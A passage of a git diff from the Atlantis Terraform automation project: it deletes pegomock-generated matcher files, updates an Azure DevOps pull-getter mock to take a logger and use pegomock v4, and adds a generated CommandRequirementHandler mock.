"github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsUser() models.User { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.User))(nil)).Elem())) - var nullValue models.User - return nullValue -} - -func EqModelsUser(value models.User) models.User { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.User - return nullValue -} diff --git a/server/events/mocks/matchers/models_vcshosttype.go b/server/events/mocks/matchers/models_vcshosttype.go deleted file mode 100644 index f2fe24c138..0000000000 --- a/server/events/mocks/matchers/models_vcshosttype.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsVCSHostType() models.VCSHostType { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.VCSHostType))(nil)).Elem())) - var nullValue models.VCSHostType - return nullValue -} - -func EqModelsVCSHostType(value models.VCSHostType) models.VCSHostType { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.VCSHostType - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_azuredevops_gitpullrequest.go b/server/events/mocks/matchers/ptr_to_azuredevops_gitpullrequest.go deleted file mode 100644 index 8c50882734..0000000000 --- a/server/events/mocks/matchers/ptr_to_azuredevops_gitpullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - azuredevops "github.com/mcdafydd/go-azuredevops/azuredevops" -) - -func AnyPtrToAzuredevopsGitPullRequest() *azuredevops.GitPullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*azuredevops.GitPullRequest))(nil)).Elem())) - var nullValue *azuredevops.GitPullRequest - return nullValue -} - -func EqPtrToAzuredevopsGitPullRequest(value *azuredevops.GitPullRequest) *azuredevops.GitPullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *azuredevops.GitPullRequest - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_azuredevops_gitrepository.go b/server/events/mocks/matchers/ptr_to_azuredevops_gitrepository.go deleted file mode 100644 index f9499615ee..0000000000 --- a/server/events/mocks/matchers/ptr_to_azuredevops_gitrepository.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - azuredevops "github.com/mcdafydd/go-azuredevops/azuredevops" -) - -func AnyPtrToAzuredevopsGitRepository() *azuredevops.GitRepository { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*azuredevops.GitRepository))(nil)).Elem())) - var nullValue *azuredevops.GitRepository - return nullValue -} - -func EqPtrToAzuredevopsGitRepository(value *azuredevops.GitRepository) *azuredevops.GitRepository { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *azuredevops.GitRepository - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_events_commandcontext.go b/server/events/mocks/matchers/ptr_to_events_commandcontext.go deleted file mode 100644 index f7b214813f..0000000000 --- a/server/events/mocks/matchers/ptr_to_events_commandcontext.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - events "github.com/runatlantis/atlantis/server/events" -) - -func AnyPtrToEventsCommandContext() *events.CommandContext { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*events.CommandContext))(nil)).Elem())) - var nullValue *events.CommandContext - return nullValue -} - -func EqPtrToEventsCommandContext(value *events.CommandContext) *events.CommandContext { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *events.CommandContext - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_events_commentcommand.go b/server/events/mocks/matchers/ptr_to_events_commentcommand.go deleted file mode 100644 index 83f61b2f88..0000000000 --- a/server/events/mocks/matchers/ptr_to_events_commentcommand.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - events "github.com/runatlantis/atlantis/server/events" -) - -func AnyPtrToEventsCommentCommand() *events.CommentCommand { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*events.CommentCommand))(nil)).Elem())) - var nullValue *events.CommentCommand - return nullValue -} - -func EqPtrToEventsCommentCommand(value *events.CommentCommand) *events.CommentCommand { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *events.CommentCommand - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_events_trylockresponse.go b/server/events/mocks/matchers/ptr_to_events_trylockresponse.go deleted file mode 100644 index f3baeb8d6a..0000000000 --- a/server/events/mocks/matchers/ptr_to_events_trylockresponse.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - events "github.com/runatlantis/atlantis/server/events" -) - -func AnyPtrToEventsTryLockResponse() *events.TryLockResponse { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*events.TryLockResponse))(nil)).Elem())) - var nullValue *events.TryLockResponse - return nullValue -} - -func EqPtrToEventsTryLockResponse(value *events.TryLockResponse) *events.TryLockResponse { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *events.TryLockResponse - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_github_issuecommentevent.go b/server/events/mocks/matchers/ptr_to_github_issuecommentevent.go deleted file mode 100644 index c199e0e9c9..0000000000 --- a/server/events/mocks/matchers/ptr_to_github_issuecommentevent.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - - github "github.com/google/go-github/v31/github" - "github.com/petergtz/pegomock" -) - -func AnyPtrToGithubIssueCommentEvent() *github.IssueCommentEvent { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*github.IssueCommentEvent))(nil)).Elem())) - var nullValue *github.IssueCommentEvent - return nullValue -} - -func EqPtrToGithubIssueCommentEvent(value *github.IssueCommentEvent) *github.IssueCommentEvent { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *github.IssueCommentEvent - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_github_pullrequest.go b/server/events/mocks/matchers/ptr_to_github_pullrequest.go deleted file mode 100644 index 8d79771b30..0000000000 --- a/server/events/mocks/matchers/ptr_to_github_pullrequest.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - - github "github.com/google/go-github/v31/github" - "github.com/petergtz/pegomock" -) - -func AnyPtrToGithubPullRequest() *github.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*github.PullRequest))(nil)).Elem())) - var nullValue *github.PullRequest - return nullValue -} - -func EqPtrToGithubPullRequest(value *github.PullRequest) *github.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *github.PullRequest - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_github_pullrequestevent.go b/server/events/mocks/matchers/ptr_to_github_pullrequestevent.go deleted file mode 100644 index 43855ca8a0..0000000000 --- a/server/events/mocks/matchers/ptr_to_github_pullrequestevent.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - - github "github.com/google/go-github/v31/github" - "github.com/petergtz/pegomock" -) - -func AnyPtrToGithubPullRequestEvent() *github.PullRequestEvent { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*github.PullRequestEvent))(nil)).Elem())) - var nullValue *github.PullRequestEvent - return nullValue -} - -func EqPtrToGithubPullRequestEvent(value *github.PullRequestEvent) *github.PullRequestEvent { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *github.PullRequestEvent - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_github_repository.go b/server/events/mocks/matchers/ptr_to_github_repository.go deleted file mode 100644 index 5b59242547..0000000000 --- a/server/events/mocks/matchers/ptr_to_github_repository.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - - github "github.com/google/go-github/v31/github" - "github.com/petergtz/pegomock" -) - -func AnyPtrToGithubRepository() *github.Repository { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*github.Repository))(nil)).Elem())) - var nullValue *github.Repository - return nullValue -} - -func EqPtrToGithubRepository(value *github.Repository) *github.Repository { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *github.Repository - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_go_gitlab_mergerequest.go b/server/events/mocks/matchers/ptr_to_go_gitlab_mergerequest.go deleted file mode 100644 index 1d965e9397..0000000000 --- a/server/events/mocks/matchers/ptr_to_go_gitlab_mergerequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - go_gitlab "github.com/xanzy/go-gitlab" -) - -func AnyPtrToGoGitlabMergeRequest() *go_gitlab.MergeRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*go_gitlab.MergeRequest))(nil)).Elem())) - var nullValue *go_gitlab.MergeRequest - return nullValue -} - -func EqPtrToGoGitlabMergeRequest(value *go_gitlab.MergeRequest) *go_gitlab.MergeRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *go_gitlab.MergeRequest - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_logging_simplelogger.go b/server/events/mocks/matchers/ptr_to_logging_simplelogger.go deleted file mode 100644 index 04c72791bc..0000000000 --- a/server/events/mocks/matchers/ptr_to_logging_simplelogger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyPtrToLoggingSimpleLogger() *logging.SimpleLogger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*logging.SimpleLogger))(nil)).Elem())) - var nullValue *logging.SimpleLogger - return nullValue -} - -func EqPtrToLoggingSimpleLogger(value *logging.SimpleLogger) *logging.SimpleLogger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *logging.SimpleLogger - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_models_projectlock.go b/server/events/mocks/matchers/ptr_to_models_projectlock.go deleted file mode 100644 index bf95261d17..0000000000 --- a/server/events/mocks/matchers/ptr_to_models_projectlock.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyPtrToModelsProjectLock() *models.ProjectLock { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*models.ProjectLock))(nil)).Elem())) - var nullValue *models.ProjectLock - return nullValue -} - -func EqPtrToModelsProjectLock(value *models.ProjectLock) *models.ProjectLock { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *models.ProjectLock - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_models_pullrequest.go b/server/events/mocks/matchers/ptr_to_models_pullrequest.go deleted file mode 100644 index efee225c8d..0000000000 --- a/server/events/mocks/matchers/ptr_to_models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyPtrToModelsPullRequest() *models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*models.PullRequest))(nil)).Elem())) - var nullValue *models.PullRequest - return nullValue -} - -func EqPtrToModelsPullRequest(value *models.PullRequest) *models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *models.PullRequest - return nullValue -} diff --git a/server/events/mocks/matchers/ptr_to_models_repo.go b/server/events/mocks/matchers/ptr_to_models_repo.go deleted file mode 100644 index 9ae197ffc1..0000000000 --- a/server/events/mocks/matchers/ptr_to_models_repo.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyPtrToModelsRepo() *models.Repo { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*models.Repo))(nil)).Elem())) - var nullValue *models.Repo - return nullValue -} - -func EqPtrToModelsRepo(value *models.Repo) *models.Repo { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *models.Repo - return nullValue -} diff --git a/server/events/mocks/matchers/slice_of_byte.go b/server/events/mocks/matchers/slice_of_byte.go deleted file mode 100644 index 9a9894fa07..0000000000 --- a/server/events/mocks/matchers/slice_of_byte.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfByte() []byte { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]byte))(nil)).Elem())) - var nullValue []byte - return nullValue -} - -func EqSliceOfByte(value []byte) []byte { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []byte - return nullValue -} diff --git a/server/events/mocks/matchers/slice_of_events_pendingplan.go b/server/events/mocks/matchers/slice_of_events_pendingplan.go deleted file mode 100644 index f6b3d9e1e8..0000000000 --- a/server/events/mocks/matchers/slice_of_events_pendingplan.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - events "github.com/runatlantis/atlantis/server/events" -) - -func AnySliceOfEventsPendingPlan() []events.PendingPlan { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]events.PendingPlan))(nil)).Elem())) - var nullValue []events.PendingPlan - return nullValue -} - -func EqSliceOfEventsPendingPlan(value []events.PendingPlan) []events.PendingPlan { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []events.PendingPlan - return nullValue -} diff --git a/server/events/mocks/matchers/slice_of_models_projectcommandcontext.go b/server/events/mocks/matchers/slice_of_models_projectcommandcontext.go deleted file mode 100644 index 5e868e9a83..0000000000 --- a/server/events/mocks/matchers/slice_of_models_projectcommandcontext.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnySliceOfModelsProjectCommandContext() []models.ProjectCommandContext { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]models.ProjectCommandContext))(nil)).Elem())) - var nullValue []models.ProjectCommandContext - return nullValue -} - -func EqSliceOfModelsProjectCommandContext(value []models.ProjectCommandContext) []models.ProjectCommandContext { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []models.ProjectCommandContext - return nullValue -} diff --git a/server/events/mocks/matchers/slice_of_string.go b/server/events/mocks/matchers/slice_of_string.go deleted file mode 100644 index 96f9b24ae2..0000000000 --- a/server/events/mocks/matchers/slice_of_string.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -) - -func AnySliceOfString() []string { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]string))(nil)).Elem())) - var nullValue []string - return nullValue -} - -func EqSliceOfString(value []string) []string { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []string - return nullValue -} diff --git a/server/events/mocks/matchers/webhooks_applyresult.go b/server/events/mocks/matchers/webhooks_applyresult.go deleted file mode 100644 index 5263a34dfd..0000000000 --- a/server/events/mocks/matchers/webhooks_applyresult.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - webhooks "github.com/runatlantis/atlantis/server/events/webhooks" -) - -func AnyWebhooksApplyResult() webhooks.ApplyResult { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(webhooks.ApplyResult))(nil)).Elem())) - var nullValue webhooks.ApplyResult - return nullValue -} - -func EqWebhooksApplyResult(value webhooks.ApplyResult) webhooks.ApplyResult { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue webhooks.ApplyResult - return nullValue -} diff --git a/server/events/mocks/mock_azuredevops_pull_getter.go b/server/events/mocks/mock_azuredevops_pull_getter.go index 7da07e54ba..2c298efa17 100644 --- a/server/events/mocks/mock_azuredevops_pull_getter.go +++ b/server/events/mocks/mock_azuredevops_pull_getter.go @@ -4,9 +4,10 @@ package mocks import ( - azuredevops "github.com/mcdafydd/go-azuredevops/azuredevops" - pegomock "github.com/petergtz/pegomock" + azuredevops "github.com/drmaxgit/go-azuredevops/azuredevops" + pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) @@ -26,23 +27,23 @@ func NewMockAzureDevopsPullGetter(options ...pegomock.Option) *MockAzureDevopsPu func (mock *MockAzureDevopsPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockAzureDevopsPullGetter) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockAzureDevopsPullGetter) GetPullRequest(repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) { +func (mock *MockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*azuredevops.GitPullRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockAzureDevopsPullGetter().") } - params := []pegomock.Param{repo, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", params, []reflect.Type{reflect.TypeOf((**azuredevops.GitPullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *azuredevops.GitPullRequest - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*azuredevops.GitPullRequest) + _params := []pegomock.Param{logger, repo, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**azuredevops.GitPullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *azuredevops.GitPullRequest + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*azuredevops.GitPullRequest) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockAzureDevopsPullGetter) VerifyWasCalledOnce() *VerifierMockAzureDevopsPullGetter { @@ -52,14 +53,14 @@ func (mock *MockAzureDevopsPullGetter) VerifyWasCalledOnce() *VerifierMockAzureD } } -func (mock *MockAzureDevopsPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockAzureDevopsPullGetter { +func (mock *MockAzureDevopsPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockAzureDevopsPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsPullGetter { +func (mock *MockAzureDevopsPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -67,7 +68,7 @@ func (mock *MockAzureDevopsPullGetter) VerifyWasCalledInOrder(invocationCountMat } } -func (mock *MockAzureDevopsPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockAzureDevopsPullGetter { +func (mock *MockAzureDevopsPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsPullGetter { return &VerifierMockAzureDevopsPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -77,14 +78,14 @@ func (mock *MockAzureDevopsPullGetter) VerifyWasCalledEventually(invocationCount type VerifierMockAzureDevopsPullGetter struct { mock *MockAzureDevopsPullGetter - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockAzureDevopsPullGetter) GetPullRequest(repo models.Repo, pullNum int) *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification { - params := []pegomock.Param{repo, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", params, verifier.timeout) +func (verifier *VerifierMockAzureDevopsPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) return &MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -93,21 +94,31 @@ type MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (models.Repo, int) { - repo, pullNum := c.GetAllCapturedArguments() - return repo[len(repo)-1], pullNum[len(pullNum)-1] +func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { + logger, repo, pullNum := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] } -func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockAzureDevopsPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } } } return diff --git a/server/events/mocks/mock_command_requirement_handler.go b/server/events/mocks/mock_command_requirement_handler.go new file mode 100644 index 0000000000..459bf58d46 --- /dev/null +++ b/server/events/mocks/mock_command_requirement_handler.go @@ -0,0 +1,273 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommandRequirementHandler) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockCommandRequirementHandler struct { + fail func(message string, callerSkip ...int) +} + +func NewMockCommandRequirementHandler(options ...pegomock.Option) *MockCommandRequirementHandler { + mock := &MockCommandRequirementHandler{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockCommandRequirementHandler) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockCommandRequirementHandler) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") + } + _params := []pegomock.Param{repoDir, ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateApplyProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockCommandRequirementHandler) ValidateImportProject(repoDir string, ctx command.ProjectContext) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") + } + _params := []pegomock.Param{repoDir, ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateImportProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockCommandRequirementHandler) ValidatePlanProject(repoDir string, ctx command.ProjectContext) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") + } + _params := []pegomock.Param{repoDir, ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidatePlanProject", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockCommandRequirementHandler) ValidateProjectDependencies(ctx command.ProjectContext) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockCommandRequirementHandler().") + } + _params := []pegomock.Param{ctx} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ValidateProjectDependencies", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockCommandRequirementHandler) VerifyWasCalledOnce() *VerifierMockCommandRequirementHandler { + return &VerifierMockCommandRequirementHandler{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockCommandRequirementHandler) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommandRequirementHandler { + return &VerifierMockCommandRequirementHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockCommandRequirementHandler) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommandRequirementHandler { + return &VerifierMockCommandRequirementHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockCommandRequirementHandler) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommandRequirementHandler { + return &VerifierMockCommandRequirementHandler{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockCommandRequirementHandler struct { + mock *MockCommandRequirementHandler + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockCommandRequirementHandler) ValidateApplyProject(repoDir string, ctx command.ProjectContext) *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification { + _params := []pegomock.Param{repoDir, ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ValidateApplyProject", _params, verifier.timeout) + return &MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification struct { + mock *MockCommandRequirementHandler + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockCommandRequirementHandler_ValidateApplyProject_OngoingVerification) GetCapturedArguments() (string, command.ProjectContext) { + repoDir, ctx := 